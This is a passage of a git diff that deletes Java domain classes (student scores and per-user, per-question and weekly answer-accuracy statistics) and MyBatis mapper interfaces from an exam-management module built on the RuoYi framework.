setScore(Long score) - { - this.score = score; - } - - public Long getScore() - { - return score; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - public void setExamType(Integer examType) - { - this.examType = examType; - } - - public Integer getExamType() - { - return examType; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("paperId", getPaperId()) - .append("studentId", getStudentId()) - .append("examTime", getExamTime()) - .append("startTime", getStartTime()) - .append("endTime", getEndTime()) - .append("takeTimes", getTakeTimes()) - .append("score", getScore()) - .append("status", getStatus()) - .append("examType", getExamType()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentScore.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentScore.java deleted file mode 100644 index 5fa500b..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentScore.java +++ /dev/null @@ -1,152 +0,0 @@ -package com.luqj.exam.domain; - -import java.util.Date; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 学生成绩对象 exam_student_score - * - * @author ruoyi - * @date 2021-07-23 - */ -public class ExamStudentScore extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** id */ - private Long id; - - /** 试卷id */ - @Excel(name = "试卷id") - private Long paperId; - - /** 学生id */ - @Excel(name = "学生id") - private Long studentId; - - /** 课程id */ - @Excel(name = "课程id") - private Long courseId; - - /** 学年 */ - @Excel(name = "学年") - private Integer year; - - /** 学期 */ - @Excel(name = "学期") - private Integer semester; - - /** 成绩 */ - @Excel(name = "成绩") - private Long score; - - /** 考试时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "考试时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date examTime; - - /** 状态 */ - @Excel(name = "状态") - private Integer status; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setPaperId(Long paperId) - { - this.paperId = paperId; - } - - public Long getPaperId() - { - return paperId; - } - public void setStudentId(Long studentId) - { - this.studentId = studentId; - } - - public Long getStudentId() - { - return studentId; - } - public void setCourseId(Long courseId) - { - this.courseId = courseId; - } - - public Long getCourseId() - { - return courseId; - } - public void setYear(Integer year) - { - this.year = year; - } - - public Integer getYear() - { - return year; - } - public void setSemester(Integer semester) - { - this.semester = semester; - } - - public Integer getSemester() - { - return semester; - } - public void setScore(Long score) - { - this.score = score; - } - - public Long getScore() - { - return score; - } - public void setExamTime(Date examTime) - { - this.examTime = examTime; - } - - public Date getExamTime() - { - return examTime; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("paperId", getPaperId()) - .append("studentId", getStudentId()) - .append("courseId", getCourseId()) - .append("year", getYear()) - .append("semester", getSemester()) - .append("score", getScore()) - .append("examTime", getExamTime()) - .append("status", getStatus()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentScorePlus.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentScorePlus.java deleted file mode 100644 index 7f6f89a..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentScorePlus.java +++ /dev/null @@ -1,147 +0,0 @@ -package com.luqj.exam.domain; - -import java.util.Date; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -/** - * 学生成绩对象 exam_student_score - * - * @author ruoyi - * @date 2021-07-23 - */ -public class ExamStudentScorePlus implements Serializable -{ - private static final long serialVersionUID = 1L; - @TableId(type = IdType.AUTO) - /** id */ - private Long id; - /** 试卷id */ - @Excel(name = "试卷id") - private Long paperId; - /** 学生id */ - @Excel(name = "学生id") - private Long studentId; - /** 课程id */ - @Excel(name = "课程id") - private Long courseId; - /** 学年 */ - @Excel(name = "学年") - private Integer year; - /** 学期 */ - @Excel(name = "学期") - private Integer semester; - /** 成绩 */ - @Excel(name = "成绩") - private Long score; - /** 考试时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "考试时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date examTime; - /** 状态 */ - @Excel(name = "状态") - private Integer status; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setPaperId(Long paperId) - { - this.paperId = paperId; - } - - public Long getPaperId() - { - return paperId; - } - public void setStudentId(Long studentId) - { - this.studentId = studentId; - } - - public Long getStudentId() - { - return studentId; - } - public void setCourseId(Long courseId) - { - this.courseId = courseId; - } - - public Long getCourseId() - { - return courseId; - } - public void setYear(Integer year) - { - this.year = year; - } - - public Integer getYear() - { - return year; - } - public void setSemester(Integer semester) - { - this.semester = semester; - } - - public Integer getSemester() - { - return semester; - } - public void setScore(Long score) - { - this.score = score; - } - - public Long getScore() - { - return score; - } - public void setExamTime(Date examTime) - { - this.examTime = examTime; - } - - public Date getExamTime() - { - return examTime; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("paperId", getPaperId()) - .append("studentId", getStudentId()) - .append("courseId", getCourseId()) - .append("year", getYear()) - .append("semester", getSemester()) - .append("score", getScore()) - .append("examTime", getExamTime()) - .append("status", getStatus()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ReqAddQuestionDTO.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ReqAddQuestionDTO.java deleted file mode 100644 index c4e8d22..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ReqAddQuestionDTO.java +++ /dev/null @@ -1,12 +0,0 @@ -package com.luqj.exam.domain; - -import lombok.Data; - -import java.io.Serializable; -import java.util.List; - -@Data -public class ReqAddQuestionDTO implements Serializable { - private Long moduleId; - private List questionIds; -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/StatsExamAccuracy.java b/luqj-exam/src/main/java/com/luqj/exam/domain/StatsExamAccuracy.java deleted file mode 100644 index 7a2ebcd..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/StatsExamAccuracy.java +++ /dev/null @@ -1,104 +0,0 @@ -package com.luqj.exam.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 学生答题正确率统计对象 stats_exam_accuracy - * - * @author ruoyi - * @date 2021-07-23 - */ -public class StatsExamAccuracy extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** id */ - private Long id; - - /** 用户id */ - @Excel(name = "用户id") - private Long userId; - - private String userName; - /** 正确答题量 */ - @Excel(name = "正确答题量") - private Long rightCount; - - /** 答题总数 */ - @Excel(name = "答题总数") - private Long doCount; - - /** 状态 */ - @Excel(name = "状态") - private Integer status; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setUserId(Long userId) - { - this.userId = userId; - } - - public Long getUserId() - { - return userId; - } - public void setRightCount(Long rightCount) - { - this.rightCount = rightCount; - } - - public Long getRightCount() - { - return rightCount; - } - public void setDoCount(Long doCount) - { - this.doCount = doCount; - } - - public Long getDoCount() - { - return doCount; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - - public String getUserName() { - return userName; - } - - public void setUserName(String userName) { - this.userName = userName; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("userId", getUserId()) - .append("rightCount", getRightCount()) - .append("doCount", getDoCount()) - .append("createTime", getCreateTime()) - .append("updateTime", getUpdateTime()) - .append("status", getStatus()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/StatsExamAccuracyPlus.java b/luqj-exam/src/main/java/com/luqj/exam/domain/StatsExamAccuracyPlus.java deleted file mode 100644 index fc53974..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/StatsExamAccuracyPlus.java +++ /dev/null @@ -1,115 +0,0 @@ -package com.luqj.exam.domain; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -/** - * 学生答题正确率统计对象 stats_exam_accuracy - * - * @author ruoyi - * @date 2021-07-23 - */ -public class StatsExamAccuracyPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - @TableId(type = IdType.AUTO) - /** id */ - private Long id; - /** 用户id */ - @Excel(name = "用户id") - private Long userId; - /** 正确答题量 */ - @Excel(name = "正确答题量") - private Long rightCount; - /** 答题总数 */ - @Excel(name = "答题总数") - private Long doCount; - /** 创建时间 */ - private Date createTime; - /** 修改时间 */ - private Date updateTime; - /** 状态 */ - @Excel(name = "状态") - private Integer status; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setUserId(Long userId) - { - this.userId = userId; - } - - public Long getUserId() - { - return userId; - } - public void setRightCount(Long rightCount) - { - this.rightCount = rightCount; - } - - public Long getRightCount() - { - return rightCount; - } - public void setDoCount(Long doCount) - { - this.doCount = doCount; - } - - public Long getDoCount() - { - return doCount; - } - public void setCreateTime(Date createTime) - { - this.createTime = createTime; - } - - public Date getCreateTime() - { - return createTime; - } - public void setUpdateTime(Date updateTime) - { - this.updateTime = updateTime; - } - - public Date getUpdateTime() - { - return updateTime; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("userId", getUserId()) - .append("rightCount", getRightCount()) - .append("doCount", getDoCount()) - .append("createTime", getCreateTime()) - .append("updateTime", getUpdateTime()) - .append("status", getStatus()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/StatsExamQuestionAccuracy.java b/luqj-exam/src/main/java/com/luqj/exam/domain/StatsExamQuestionAccuracy.java deleted file mode 100644 index 64b921e..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/StatsExamQuestionAccuracy.java +++ /dev/null @@ -1,105 +0,0 @@ -package com.luqj.exam.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 按题目统计对象 stats_exam_question_accuracy - * - * @author ruoyi - * @date 2021-07-23 - */ -public class StatsExamQuestionAccuracy extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** $column.columnComment */ - private Long id; - - /** 题目id */ - @Excel(name = "题目id") - private Long questionId; - - private String questionName; - - /** 正确数 */ - @Excel(name = "正确数") - private Long rightCount; - - /** 总答题数 */ - @Excel(name = "总答题数") - private Long doCount; - - /** 状态 */ - @Excel(name = "状态") - private Integer status; - - public void setId(Long id) - { - this.id = id; - } - - public String getQuestionName() { - return questionName; - } - - public void setQuestionName(String questionName) { - this.questionName = questionName; - } - - public Long getId() - { - return id; - } - public void setQuestionId(Long questionId) - { - this.questionId = questionId; - } - - public Long getQuestionId() - { - return questionId; - } - public void setRightCount(Long rightCount) - { - this.rightCount = rightCount; - } - - public Long getRightCount() - { - return rightCount; - } - public void setDoCount(Long doCount) - { - this.doCount = doCount; - } - - public Long getDoCount() - { - return doCount; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("questionId", getQuestionId()) - .append("rightCount", getRightCount()) - .append("doCount", getDoCount()) - .append("createTime", getCreateTime()) - .append("updateTime", getUpdateTime()) - .append("status", getStatus()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/StatsExamQuestionAccuracyPlus.java b/luqj-exam/src/main/java/com/luqj/exam/domain/StatsExamQuestionAccuracyPlus.java deleted file mode 100644 index 1e14cd2..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/StatsExamQuestionAccuracyPlus.java +++ /dev/null @@ -1,115 +0,0 @@ -package com.luqj.exam.domain; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -/** - * 按题目统计对象 stats_exam_question_accuracy - * - * @author ruoyi - * @date 2021-07-23 - */ -public class StatsExamQuestionAccuracyPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - @TableId(type = IdType.AUTO) - /** $column.columnComment */ - private Long id; - /** 题目id */ - @Excel(name = "题目id") - private Long questionId; - /** 正确数 */ - @Excel(name = "正确数") - private Long rightCount; - /** 总答题数 */ - @Excel(name = "总答题数") - private Long doCount; - /** 创建时间 */ - private Date createTime; - /** 更新时间 */ - private Date updateTime; - /** 状态 */ - @Excel(name = "状态") - private Integer status; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setQuestionId(Long questionId) - { - this.questionId = questionId; - } - - public Long getQuestionId() - { - return questionId; - } - public void setRightCount(Long rightCount) - { - this.rightCount = rightCount; - } - - public Long getRightCount() - { - return rightCount; - } - public void setDoCount(Long doCount) - { - this.doCount = doCount; - } - - public Long getDoCount() - { - return doCount; - } - public void setCreateTime(Date createTime) - { - this.createTime = createTime; - } - - public Date getCreateTime() - { - return createTime; - } - public void setUpdateTime(Date updateTime) - { - this.updateTime = updateTime; - } - - public Date getUpdateTime() - { - return updateTime; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("questionId", getQuestionId()) - .append("rightCount", getRightCount()) - .append("doCount", getDoCount()) - .append("createTime", getCreateTime()) - .append("updateTime", getUpdateTime()) - .append("status", getStatus()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/StatsExamWeekAccuracy.java b/luqj-exam/src/main/java/com/luqj/exam/domain/StatsExamWeekAccuracy.java deleted file mode 100644 index a491bf7..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/StatsExamWeekAccuracy.java +++ /dev/null @@ -1,136 +0,0 @@ -package com.luqj.exam.domain; - -import java.util.Date; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 学生答题正确率统计对象 stats_exam_week_accuracy - * - * @author ruoyi - * @date 2021-07-23 - */ -public class StatsExamWeekAccuracy extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** id */ - private Long id; - - /** 用户id */ - @Excel(name = "用户id") - private Long userId; - private String userName; - - /** 本周开始时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "本周开始时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date startTime; - - /** 本周结束时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "本周结束时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date endTime; - - /** 本周正确题数 */ - @Excel(name = "本周正确题数") - private Long rightCount; - - /** 本周做题题数 */ - @Excel(name = "本周做题题数") - private Long doCount; - - /** 状态,是否参与本次排名0否 1是 */ - @Excel(name = "状态,是否参与本次排名0否 1是") - private Integer status; - - public void setId(Long id) - { - this.id = id; - } - - public String getUserName() { - return userName; - } - - public void setUserName(String userName) { - this.userName = userName; - } - - public Long getId() - { - return id; - } - public void setUserId(Long userId) - { - this.userId = userId; - } - - public Long getUserId() - { - return userId; - } - public void setStartTime(Date startTime) - { - this.startTime = startTime; - } - - public Date getStartTime() - { - return startTime; - } - public void setEndTime(Date endTime) - { - this.endTime = endTime; - } - - public Date getEndTime() - { - return endTime; - } - public void setRightCount(Long rightCount) - { - this.rightCount = rightCount; - } - - public Long getRightCount() - { - return rightCount; - } - public void setDoCount(Long doCount) - { - this.doCount = doCount; - } - - public Long getDoCount() - { - return doCount; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("userId", getUserId()) - .append("startTime", getStartTime()) - .append("endTime", getEndTime()) - .append("rightCount", getRightCount()) - .append("doCount", getDoCount()) - .append("createTime", getCreateTime()) - .append("updateTime", getUpdateTime()) - .append("status", getStatus()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/StatsExamWeekAccuracyPlus.java b/luqj-exam/src/main/java/com/luqj/exam/domain/StatsExamWeekAccuracyPlus.java deleted file mode 100644 index eecf745..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/StatsExamWeekAccuracyPlus.java +++ /dev/null @@ -1,146 +0,0 @@ -package com.luqj.exam.domain; - -import java.util.Date; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -/** - * 学生答题正确率统计对象 stats_exam_week_accuracy - * - * @author ruoyi - * @date 2021-07-23 - */ -public class StatsExamWeekAccuracyPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - @TableId(type = IdType.AUTO) - /** id */ - private Long id; - /** 用户id */ - @Excel(name = "用户id") - private Long userId; - /** 本周开始时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "本周开始时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date startTime; - /** 本周结束时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "本周结束时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date endTime; - /** 本周正确题数 */ - @Excel(name = "本周正确题数") - private Long rightCount; - /** 本周做题题数 */ - @Excel(name = "本周做题题数") - private Long doCount; - /** 创建时间 */ - private Date createTime; - /** 修改时间 */ - private Date updateTime; - /** 状态,是否参与本次排名0否 1是 */ - @Excel(name = "状态,是否参与本次排名0否 1是") - private Integer status; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setUserId(Long userId) - { - this.userId = userId; - } - - public Long getUserId() - { - return userId; - } - public void setStartTime(Date startTime) - { - this.startTime = startTime; - } - - public Date getStartTime() - { - return startTime; - } - public void setEndTime(Date endTime) - { - this.endTime = endTime; - } - - public Date getEndTime() - { - return endTime; - } - public void setRightCount(Long rightCount) - { - this.rightCount = rightCount; - } - - public Long getRightCount() - { - return rightCount; - } - public void setDoCount(Long doCount) - { - this.doCount = doCount; - } - - public Long getDoCount() - { - return doCount; - } - public void setCreateTime(Date createTime) - { - this.createTime = createTime; - } - - public Date getCreateTime() - { - return createTime; - } - public void setUpdateTime(Date updateTime) - { - this.updateTime = updateTime; - } - - public Date getUpdateTime() - { - return updateTime; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("userId", getUserId()) - .append("startTime", getStartTime()) - .append("endTime", getEndTime()) - .append("rightCount", getRightCount()) - .append("doCount", getDoCount()) - .append("createTime", getCreateTime()) - .append("updateTime", getUpdateTime()) - .append("status", getStatus()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/init/ExamInit.java b/luqj-exam/src/main/java/com/luqj/exam/init/ExamInit.java deleted file mode 100644 index 5650401..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/init/ExamInit.java +++ /dev/null @@ -1,15 +0,0 @@ -package com.luqj.exam.init; - -import org.springframework.stereotype.Component; - -import javax.annotation.PostConstruct; - -@Component -public class ExamInit { - // @Autowired -// private IExamQuestionService examQuestionService; - @PostConstruct - private void init() { -// examQuestionService.getMapByIds(Arrays.asList(1L)); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamPaperItemMapper.java b/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamPaperItemMapper.java deleted file mode 100644 index 92dd366..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamPaperItemMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.exam.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.exam.domain.ExamPaperItem; -import com.luqj.exam.domain.ExamPaperItemPlus; - -/** - * 试卷明细Mapper接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface ExamPaperItemMapper extends BaseMapper -{ - /** - * 查询试卷明细 - * - * @param id 试卷明细ID - * @return 试卷明细 - */ - public ExamPaperItem selectExamPaperItemById(Long id); - - /** - * 查询试卷明细列表 - * - * @param examPaperItem 试卷明细 - * @return 试卷明细集合 - */ - public List selectExamPaperItemList(ExamPaperItem examPaperItem); - - /** - * 新增试卷明细 - * - * @param examPaperItem 试卷明细 - * @return 结果 - */ - public int insertExamPaperItem(ExamPaperItem examPaperItem); - - /** - * 修改试卷明细 - * - * @param examPaperItem 试卷明细 - * @return 结果 - */ - public int updateExamPaperItem(ExamPaperItem examPaperItem); - - /** - * 删除试卷明细 - * - * @param id 试卷明细ID - * @return 结果 - */ - public int deleteExamPaperItemById(Long id); - - /** - * 批量删除试卷明细 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteExamPaperItemByIds(Long[] ids); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamPaperMapper.java b/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamPaperMapper.java deleted file mode 100644 index 187cb40..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamPaperMapper.java +++ /dev/null @@ -1,89 +0,0 @@ -package com.luqj.exam.mapper; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import com.luqj.exam.domain.ExamPaper; -import com.luqj.exam.domain.ExamPaperModule; -import com.luqj.exam.domain.ExamPaperPlus; - -import java.util.List; - -/** - * 试卷Mapper接口 - * - * @author ruoyi - * @date 2021-08-09 - */ -public interface ExamPaperMapper extends BaseMapper { - /** - * 查询试卷 - * - * @param id 试卷ID - * @return 试卷 - */ - public ExamPaper selectExamPaperById(Long id); - - /** - * 查询试卷列表 - * - * @param examPaper 试卷 - * @return 试卷集合 - */ - public List selectExamPaperList(ExamPaper examPaper); - - /** - * 新增试卷 - * - * @param examPaper 试卷 - * @return 结果 - */ - public int insertExamPaper(ExamPaper examPaper); - - /** - * 修改试卷 - * - * @param examPaper 试卷 - * @return 结果 - */ - public int updateExamPaper(ExamPaper examPaper); - - /** - * 删除试卷 - * - * @param id 试卷ID - * @return 结果 - */ - public int deleteExamPaperById(Long id); - - /** - * 批量删除试卷 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteExamPaperByIds(Long[] ids); - - /** - * 批量删除试卷模块 - * - * @param customerIds 需要删除的数据ID - * @return 结果 - */ - public int deleteExamPaperModuleByPaperIds(Long[] ids); - - /** - * 批量新增试卷模块 - * - * @param examPaperModuleList 试卷模块列表 - * @return 结果 - */ - public int batchExamPaperModule(List examPaperModuleList); - - - /** - * 通过试卷ID删除试卷模块信息 - * - * @param roleId 角色ID - * @return 结果 - */ - public int deleteExamPaperModuleByPaperId(Long id); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamPaperModuleMapper.java b/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamPaperModuleMapper.java deleted file mode 100644 index a02c84f..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamPaperModuleMapper.java +++ /dev/null @@ -1,91 +0,0 @@ -package com.luqj.exam.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.exam.domain.ExamPaperModule; -import com.luqj.exam.domain.ExamPaperModulePlus; -import com.luqj.exam.domain.ExamPaperItem; - -/** - * 试卷模块Mapper接口 - * - * @author ruoyi - * @date 2021-08-10 - */ -public interface ExamPaperModuleMapper extends BaseMapper -{ - /** - * 查询试卷模块 - * - * @param id 试卷模块ID - * @return 试卷模块 - */ - public ExamPaperModule selectExamPaperModuleById(Long id); - - /** - * 查询试卷模块列表 - * - * @param examPaperModule 试卷模块 - * @return 试卷模块集合 - */ - public List selectExamPaperModuleList(ExamPaperModule examPaperModule); - - /** - * 新增试卷模块 - * - * @param examPaperModule 试卷模块 - * @return 结果 - */ - public int insertExamPaperModule(ExamPaperModule examPaperModule); - - /** - * 修改试卷模块 - * - * @param examPaperModule 试卷模块 - * @return 结果 - */ - public int updateExamPaperModule(ExamPaperModule examPaperModule); - - /** - * 删除试卷模块 - * - * @param id 试卷模块ID - * @return 结果 - */ - public int deleteExamPaperModuleById(Long id); - - /** - * 批量删除试卷模块 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteExamPaperModuleByIds(Long[] ids); - - /** - * 批量删除试卷明细 - * - * @param customerIds 需要删除的数据ID - * @return 结果 - */ - public int deleteExamPaperItemByExamPaperModuleIds(Long[] ids); - - /** - * 批量新增试卷明细 - * - * @param examPaperItemList 试卷明细列表 - * @return 结果 - */ - public int batchExamPaperItem(List examPaperItemList); - - - /** - * 通过试卷模块ID删除试卷明细信息 - * - * @param roleId 角色ID - * @return 结果 - */ - public int deleteExamPaperItemByExamPaperModuleId(Long id); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamPaperStrategyListMapper.java b/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamPaperStrategyListMapper.java deleted file mode 100644 index 9087540..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamPaperStrategyListMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.exam.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.exam.domain.ExamPaperStrategyList; -import com.luqj.exam.domain.ExamPaperStrategyListPlus; - -/** - * 策略子Mapper接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface ExamPaperStrategyListMapper extends BaseMapper -{ - /** - * 查询策略子 - * - * @param id 策略子ID - * @return 策略子 - */ - public ExamPaperStrategyList selectExamPaperStrategyListById(Long id); - - /** - * 查询策略子列表 - * - * @param examPaperStrategyList 策略子 - * @return 策略子集合 - */ - public List selectExamPaperStrategyListList(ExamPaperStrategyList examPaperStrategyList); - - /** - * 新增策略子 - * - * @param examPaperStrategyList 策略子 - * @return 结果 - */ - public int insertExamPaperStrategyList(ExamPaperStrategyList examPaperStrategyList); - - /** - * 修改策略子 - * - * @param examPaperStrategyList 策略子 - * @return 结果 - */ - public int updateExamPaperStrategyList(ExamPaperStrategyList examPaperStrategyList); - - /** - * 删除策略子 - * - * @param id 策略子ID - * @return 结果 - */ - public int deleteExamPaperStrategyListById(Long id); - - /** - * 批量删除策略子 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteExamPaperStrategyListByIds(Long[] ids); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamPaperStrategyMapper.java b/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamPaperStrategyMapper.java deleted file mode 100644 index 3c76b1c..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamPaperStrategyMapper.java +++ /dev/null @@ -1,91 +0,0 @@ -package com.luqj.exam.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.exam.domain.ExamPaperStrategy; -import com.luqj.exam.domain.ExamPaperStrategyPlus; -import com.luqj.exam.domain.ExamPaperStrategyList; - -/** - * 试卷模板策略Mapper接口 - * - * @author ruoyi - * @date 2021-07-29 - */ -public interface ExamPaperStrategyMapper extends BaseMapper -{ - /** - * 查询试卷模板策略 - * - * @param id 试卷模板策略ID - * @return 试卷模板策略 - */ - public ExamPaperStrategy selectExamPaperStrategyById(Long id); - - /** - * 查询试卷模板策略列表 - * - * @param examPaperStrategy 试卷模板策略 - * @return 试卷模板策略集合 - */ - public List selectExamPaperStrategyList(ExamPaperStrategy examPaperStrategy); - - /** - * 新增试卷模板策略 - * - * @param examPaperStrategy 试卷模板策略 - * @return 结果 - */ - public int 